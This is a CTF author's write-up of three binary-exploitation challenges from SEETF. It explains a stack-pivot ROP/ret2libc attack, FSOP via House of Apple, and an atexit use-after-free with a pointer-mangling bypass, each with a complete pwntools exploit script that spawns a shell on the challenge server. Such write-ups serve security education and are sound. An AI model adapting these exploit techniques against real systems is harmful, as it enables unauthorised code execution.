This weekend, Social Engineering Experts (SEE) held its inaugural SEETF. Here are my write-ups for the challenges I authored. I am aware of the (multiple) unintended solutions, but thought it would be good to document my intended solutions. Thanks to everyone who played!
Great Expectations
Description
Ask no questions, and you’ll be told no lies.
Solution
The binary first allows us to write into a buffer of size 0x107. Then, the input_floats() function is called to read in 3 floats.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
void input_floats()
{
char canary = 'A';
char buffer[floatbuffer_len];
for (idx = 0; idx < floatbuffer_len; idx++)
{
puts("Give me a crazy number!");
scanf("%f", &buffer[idx]);
}
if (canary != 'A')
{
exit(0);
}
}
There is a buffer overflow in the scanf(“%f”) call as we read a float (4 bytes) into a char (1 byte) buffer. However, the overflow is only large enough to overwrite the saved rbp value on stack. This means that we cannot hijack control flow immediately, instead we can only pivot the stack. Note that if the value of the saved rbp is addr, the saved rip for main is at addr+8. In other words, we can hijack control flow subsequently, when main returns.
A good place to pivot to is buffer in main which we previously wrote to. However, since the stack addresses change between runs (due to randomness), we need to guess the address to pivot to. Here are the addresses from one run of GDB. Empirically, only the high nibble of the least significant byte changes, while the offsets between the addresses are constant.
1
2
3
input_floats() saved rbp: 0x00007fffe4966370
main() buffer: 0x00007fffe4966260 -- 0x7fffe4966367
main() saved rip: 0x00007fffe4966378
Notice that the address of the last portion of buffer differs from the saved rbp only in the least significant byte. By overwriting just the last byte of the saved rbp, we can subsequently have main return to the address stored in buffer.
One last thing to note is that the binary has a ‘custom canary’ – a single ‘A’ character at the base of the stack. So, we can fill the first part of buffer with the canary, and the next part with our ROP payload. Keep in mind that the saved rip will be at an address ending in 0x8, so we should align our ROP payload accordingly too.
1
2
3
rop_payload = flat([POP_RDI, elf.got["puts"], elf.sym["puts"], elf.sym["main"]])
canary = b"A"*8
payload = canary * ( (string_len - len(rop_payload) ) // 8 -1) + rop_payload # -1 for alignment
To trigger the payload, we need to successfully pivot the stack such that the canary check is passed, and main returns exactly to the start of our ROP chain. Given the randomness of the stack addresses, to do this, we can overwrite just the last byte of the saved rbp to a random value and run the exploit until the stack address lines up perfectly. This will take an average of 16 attempts, since there is a 1/16 chance that our random value is correct. If we input a float all three times, the third float will end up overwriting the last 2 bytes of the saved rbp, dropping the success rate to 1/4096 (the high POW for this challenge makes this unfavourable). Instead, we want to avoid writing a float on the third time, which we can do by inputting an invalid float, such as “-“.
The next part involves the ret2libc portion of the exploit. Likewise, we craft our payload into buffer and pivot our stack from input_floats(). However, this time we do not need to guess the stack address as our new ROP chain will be at a constant offset from the previous ROP chain. Depending on your ROP chain, this can be found empirically. My solution has an offset of -0x30, i.e. if we overwrite the least significant byte of the saved rbp to 0x70 at first, on the second go we overwrite it to 0x40.
Script
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
from pwn import *
import time
fn = "./chall"
elf = ELF(fn, checksec=False)
libc = ELF("./libc.so.6")
context.binary = elf
string_len = 0x107
sla = lambda x, y: p.sendlineafter(x, y)
sl = lambda x: p.sendline(x)
import struct
def pack_float(value):
assert len(value) <= 4
data = struct.unpack('f', value)[0]
data = str(data).encode("ascii")
return data
for _ in range(40):
try:
p = remote("localhost", 1337)
# Round 1
rop = ROP([elf])
RET = rop.find_gadget(["ret"]).address
POP_RDI = rop.find_gadget(["pop rdi", "ret"]).address
rop_payload = flat([POP_RDI, elf.got["puts"], elf.sym["puts"], elf.sym["main"]])
canary = b"A"*8
payload = canary * ( (string_len - len(rop_payload) ) // 8 -1) + rop_payload # -1 for alignment
sla(b"Tell me an adventurous tale.\n", payload)
sla(b"Give me a crazy number!\n", b"-")
# overwrite saved rbp, so that when main() returns, its stack pointer points into our main buffer
vuln_float = pack_float(b"\0\0\x41\xa0") # offset of 0x30 between round 1 and round 2
sla(b"Give me a crazy number!\n", vuln_float) # b"0")
sla(b"Give me a crazy number!\n", b"-")
libc_leak = u64(p.recvuntil(b"\n")[:-1].ljust(8, b"\0"))
log.info("leak: " + hex(libc_leak))
libc.address = libc_leak - libc.sym["puts"]
if libc_leak % 0x8 != 0:
p.kill()
continue
# Round 2
rop = ROP([elf, libc])
binsh = next(libc.search(b"/bin/sh\x00"))
log.info("binsh: " + hex(binsh))
rop.execve(binsh, 0, 0)
rop_payload = rop.chain()
payload = canary * ( (string_len - len(rop_payload) ) // 8) + rop_payload
sla(b"Tell me an adventurous tale.\n", payload)
sla(b"Give me a crazy number!\n", b"-")
# do the same here (as before), but account for the offset of 0x30 between iterations
vuln_float = pack_float(b"\0\0\x41\x70")
sla(b"Give me a crazy number!\n", vuln_float)
sla(b"Give me a crazy number!\n", b"-")
time.sleep(1)
p.interactive()
break
except:
print("exception")
pass
The name started off as a reference to the probabilistic solution, but after changing it slightly a few times, it’s no longer really relevant to the challenge 😄 The description is a random quote from the book “Great Expectations”.
CSTutorial
Description
Did you come to class prepared? Flag is at /flag.
Solution
The program first reads 3 text files into 3 buffers. The user can then modify one of the buffers “not in place”. The user can create an additional buffer, and the contents of the original buffer is copied over for the user to modify. At the same time, a file pointer fp to the text file corresponding to a second buffer is opened, to be used later.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
int chunk_size;
char *chunk_ptr;
puts("What size to allocate?");
scanf("%d", &chunk_size);
chunk_ptr = calloc(1, chunk_size);
puts("Which file to read? (1-3)");
scanf("%d", &i);
i -= 1;
memcpy(chunk_ptr, buffers[i], min(buffer_size, chunk_size));
// store fp for the constant demonstration at the end
int j = (i + 1) % num_files;
snprintf(filename, 10, "key%d.txt", j);
fp = fopen(filename, "r");
// --------------------------------------------------
printf("Allocated you a chunk @ %p\n", chunk_ptr);
printf("Content: ");
ssize_t bytes_read = read(0, chunk_ptr, chunk_size);
if (bytes_read > 0x91)
{
puts("Sorry, you're asking too much.");
exit(0);
}
else
{
chunk_ptr[bytes_read - 1] = 0;
}
The first bug is that the index i is not checked, giving an OOB access in line 10.
Next, the user can modify a third buffer “in place”, i.e. writing to it directly. There is a trivial buffer overflow here as scanf(“%s”) is used to write to the buffer. Finally, the second buffer (from earlier) is demonstrated to have a constant value, by reading from fp into the buffer again.
At first glance, with the large amount of file operations, this looks like a FSOP challenge. We can solve this challenge quickly by working backwards with this intuition. Here is the memory layout for reference.
1
2
3
4
5
6
7
8
// .data
+0x4010: buffers
// .bss begin
+0x4040: stdout
+0x4060: prev
+0x4160: buf
+0x4260: backup
+0x4360: fp
The scanf buffer overflow of prev/buf/backup will let us control fp and trigger our FSOP when fread() is called in the demonstration for the constant value. We should craft our fake FILE struct in a location that we know the address of, so we naturally use the chunk allocated in the first demonstration (the location is leaked by the program). However, we run into a few difficulties in getting RCE from our fake FILE struct. One, we can only write 0x91 bytes into the FILE struct, so we are unable to overwrite codecvt, wide_data, vtable etc. Such a FILE struct not only will not give RCE, but is also invalid. Two, without a libc leak, we cannot craft a working FILE struct with correct pointers.
Two is easily resolved by requesting a large enough chunk, such that mmap services the allocation, which returns a chunk that is continguous with libc. To resolve one, we need to use an existing FILE struct with valid pointers. This is where the first bug comes in. By accessing buffers[i] at i = 6, we can access the stdout pointer. Then, the memcpy call will give us the stdout FILE struct in our buffer to work with.
Next, since we cannot go for RCE immediately (only first 0x90 bytes can be modified), we go for an arbitrary write since we can still modify the IO_read/write pointers. From here, a myriad of exploits are possible to get RCE, but my script uses House of Apple. For this, we direct our arbitrary write into stdin.
Script
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
from pwn import *
fn = "./chall"
real = True
context.log_level = "debug"
p = remote("win.the.seetf.sg", 2003)
elf = ELF(fn)
libc = ELF("./libc.so.6", checksec=False)
context.binary = elf
sla = lambda x, y: p.sendlineafter(x, y)
sl = lambda x: p.sendline(x)
threshold = 128 * 0x1000
sla(b"What size to allocate?", str(threshold).encode("ascii")) # trigger mmap()
sla(b"Which file to read?", b"7") # OOB read of stdout
p.recvuntil(b"@ ")
leak = int(p.recvuntil(b"\n").strip().decode("ascii"), 16)
chunk_ptr = leak
libc_base = leak - 0x10 + threshold + 0x4000
log.info("Libc base: " + hex(libc_base))
log.info("Chunk ptr: " + hex(chunk_ptr))
libc.address = libc_base
stdin = libc.sym["_IO_2_1_stdin_"]
# documentation: xsgetn https://elixir.bootlin.com/glibc/glibc-2.35/source/libio/fileops.c#L1271
write_addr = stdin
write_amt = 0x110 # satisfy: want < (fp->_IO_buf_end - fp->_IO_buf_base)
fs = FileStructure()
fs.read(addr=write_addr, size=write_amt)
payload = bytes(fs)[:0x70]
sla(b"Content: ", payload) # forge fake file struct
payload = b"A" * 0x100 + p64(chunk_ptr) # overflow buffers[2] into fp
sla(b"Content: ", payload)
# Credit: https://github.com/RoderickChan/pwncli/blob/3e2ca36ec4c05eaac456f1f70c8a075c1f4d702b/pwncli/utils/io_file.py#L219
fs.flags = unpack(b" sh", 32)
fs._IO_write_base = 0
fs._IO_write_ptr = 1
fs._lock = stdin-0x10
fs.chain = libc.sym["system"]
fs._codecvt = stdin
fs._wide_data = stdin-0x48
fs.unknown2 = p64(0) * 6 # 0xc0 = _mode
fs.vtable = libc.sym["_IO_wfile_jumps"]
payload = bytes(fs)
payload = payload + (write_amt - len(payload)) * b"\0"
sla(b"Constant!", payload) # House of Apple payload
p.interactive()
babySheep
Description
Sorry, no sheep here.
Solution
The binary is a traditional 4-operations note-taking program, with option to Create, Output, Update and Delete texts. Interestingly, successful calls to delete() will end up calling atexit(), registering the cleanup() function as an exit handler. There is also a backdoor() function that runs an arbitrary shell command.
First, notice that the operations, Output, Update, Delete have an identical stack frame, in the same location in memory:
1
2
3
int idx; // Stack[-0x20]
int buffer_size; // Stack[-0x1c]
struct text *ptr; // Stack[-0x18]
After deleting a text, when we enter the output() and update() functions, ptr and size remain uninitialized if we pass in an invalid value for idx.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
void output()
{
int idx;
puts("Which text? (0-9)");
scanf("%d", &idx);
unsigned int buffer_size;
struct text *ptr;
if (idx >= 0 && idx < NUM_TEXTS) // invalid idx bypass this check
{
buffer_size = buffer_sizes[idx];
ptr = texts[idx];
}
if (ptr == NULL) // uninitialized ptr gets its value from the delete() stack frame, bypassing this check
{
puts("Create text first.");
return;
}
write(1, ptr, buffer_size + NUM_HEADERFOOTER_BYTES); // UAF
}
This gives us our UAF read and write respectively. However, our UAF write is limited as we can only write +0x10 from the start of the chunk and -0x8 from the end of the chunk in update(). This means that the typical approach to exploiting a UAF is not possible. However, we can still get a libc leak via unsorted bin, as per usual.
Next, let’s look at atexit(). Reading through the libc source, we see that atexit() stores the exit handlers in a exit_function_list struct, which contains an array exit_function fns[32] of 32 exit functions.
1
2
3
4
5
6
struct exit_function_list
{
struct exit_function_list *next;
size_t idx;
struct exit_function fns[32];
};
When atexit() has registered more than this number of exit functions, it creates a new exit_function_list struct with calloc (the structs form a linked list).
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
if (l == NULL || i == sizeof (l->fns) / sizeof (l->fns[0]))
{
/* The last entry in a block is used. Use the first entry in
the previous block if it exists. Otherwise create a new one. */
if (p == NULL)
{
assert (l != NULL);
p = (struct exit_function_list *)
calloc (1, sizeof (struct exit_function_list));
if (p != NULL)
{
p->next = *listp;
*listp = p;
}
}
[...]
We can trigger this behaviour by repeatedly calling delete(), which registers a new exit handler function every time we successfully delete a text, filling up the exit_function fns[32] array.
With our UAF, we can hijack the exit_function_list struct, allowing us to run an arbitrary function before the program exits. The function pointers in the exit_function fns[32] are mangled. Pointer mangling “is a glibc security feature which aims to increase the difficulty to attackers of manipulating pointers - particularly function pointers - in glibc structures”. Here is the algorithm:
1
2
3
# ifdef __ASSEMBLER__
# define PTR_MANGLE(reg) xor %fs:POINTER_GUARD, reg; \
rol $2*LP_SIZE+1, reg
The function pointer is xor-ed with the pointer guard, a 64-bit random value stored in the thread control block (the canary is located there too). The result is rolled left by 0x11 (2*8+1). The typical way to hijack exit_function fns is to leak a mangled pointer to a known address, e.g. _dl_fini() or NULL. However, the only mangled pointer leak we have is of the cleanup() function registered by delete(). We don’t know its address because the binary is compiled under PIE. Instead, we can make use of the proximity of the cleanup() and the backdoor() function in the binary’s memory. The function address differ only by the least significant byte. Some arithmetic can be utilised to make use of this fact. Empirically, we can notice that only the third byte of the mangled function pointers for cleanup() and backdoor() differ, and use this to obtain the mangled backdoor() function pointer.
Finally, we need to pass our “/bin/sh” string to backdoor() as a function parameter. To achieve this, we can use a exit_function of flavour cxa.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
enum
{
ef_free, /* `ef_free' MUST be zero! */
ef_us,
ef_on,
ef_at,
ef_cxa
};
struct exit_function
{
/* `flavour' should be of type of the `enum' above but since we need
this element in an atomic operation we have to use `long int'. */
long int flavor;
union
{
void (*at) (void);
struct
{
void (*fn) (int status, void *arg);
void *arg;
} on;
struct
{
void (*fn) (void *arg, int status);
void *arg;
void *dso_handle;
} cxa;
} func;
};
This allows us to supply the first argument (“/bin/sh”) that the exit handler function (backdoor()) should be called with. Exiting will now trigger the exploit.
I didn’t want to call this challenge babyHeap, so here we are.
Script
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
from pwn import *
fn = "./chall"
elf = ELF(fn, checksec=False)
libc = ELF("./libc.so.6", checksec=False) # extracted from docker image
p = remote("win.the.seetf.sg", 2001)
context.binary = elf
import time
def sla(x, y) -> None:
time.sleep(0.02) # added stability for stdin
p.sendlineafter(x, y)
def sl(x) -> None:
time.sleep(0.02) # added stability for stdin
p.sendline(x)
def create(size, content):
assert size >= 0x10
assert len(content) <= (size - 0x10)
sl(b"C")
sla(b"What size?", str(size).encode("ascii"))
sla(b"What content?", content)
def output(idx, size):
assert size >= 0x10
sl(b"O")
sla(b"Which text?", str(idx).encode("ascii"))
p.recvuntil(b"\n")
res = p.recvn(size + 0x8 * 3)
return res
def update(idx, content, size):
assert size >= 0x10
assert len(content) <= (size - 0x10)
sl(b"U")
sla(b"Which text?", str(idx).encode("ascii"))
sl(content)
def delete(idx):
sl(b"D")
sla(b"Which text?", str(idx).encode("ascii"))
NUM_HEADERFOOTER_BYTES = 24
# 1. Libc leak
create(0x500, b"AAA")
create(0x500, b"BBB")
delete(0)
res = output(-1, 0x500)
libc_leak = u64(res[:6].ljust(8, b"\0"))
log.info("libc leak: " + hex(libc_leak))
libc_base = libc_leak - 0x7F0AED3E0CE0 + 0x007F0AED1C7000
log.info("libc base: " + hex(libc_base))
libc.address = libc_base
rop = ROP([libc])
# 2. Trigger exit calloc
for idx in range(32 - 2):
create(0x50, b"ABCD") # pad the exit_function_list
delete(0)
# Now, we have filled our initial exit_function_list with 32 exit handlers
# 31 were registered by us (30 calls to delete here, 1 above) and the very 1st was registered by the binary (_dl_fini)
# So, the next exit handler to be registered will first allocate a new exit_function_list, since each
# exit_function_list can store a maximum of 32 exit_function-s.
# Prepare UAF chunk
sizeofstruct = 0x410 # in __new_exitfn: calloc (1, sizeof (struct exit_function_list));
create(sizeofstruct - NUM_HEADERFOOTER_BYTES, b"ABCD")
delete(
0
) # This frees up our chunk to be used by malloc, afterwhich registering our exit handler triggers calloc and yields this chunk.
# 3. Leak exit_function_list
res = output(
-1, 0x410 - NUM_HEADERFOOTER_BYTES
) # contains a exit_function_list struct with only exit function, cleanup.
func_leak = u64(res[24:32]) # the mangled pointer to cleanup is at this offset
log.info("Leak: " + hex(func_leak))
# Mangled pointer, see: https://sourceware.org/glibc/wiki/PointerEncryption
# Since the binary has PIE enabled and we do not know the base ELF address, we cannot easily reverse the mangled pointer to retrieve the key.
# Instead, we make use of the fact that the backdoor and cleanup functions are located
# close together in memory, i.e. only the least significant byte differs.
# Via some arithmetic, we can determine the correct mangled pointer for backup.
bit = res[26] # 3rd byte
log.info("Bit:" + hex(bit))
correct_bit = bit ^ ((elf.sym["backdoor"] % 0x100) ^ (elf.sym["cleanup"] % 0x100)) * 2
log.info("Correct bit: " + hex(correct_bit))
# 4. UAF into exit_funcs
binsh = next(libc.search(b"/bin/sh\x00"))
log.info("binsh: " + hex(binsh))
mangled_address = func_leak + (correct_bit - bit) * 0x100**2
log.info("Mangled win: " + hex(mangled_address))
type_cxa = 4
onexit = p64(type_cxa) + p64(mangled_address) + p64(binsh)
update(
-1, onexit, 0x410
) # keep in mind we can only write after the first 0x10 bytes, which strips the next and idx
sl(b"E") # exit, calling the backdoor function with binsh
p.interactive()
Thoughts
I had a fun time writing the 3 pwn challenges. This was my first time authoring challenges for a CTF and I learnt a lot from the process; I will definitely test my challenges more robustly in the future. Hope everyone had fun and see you at SEETF’24!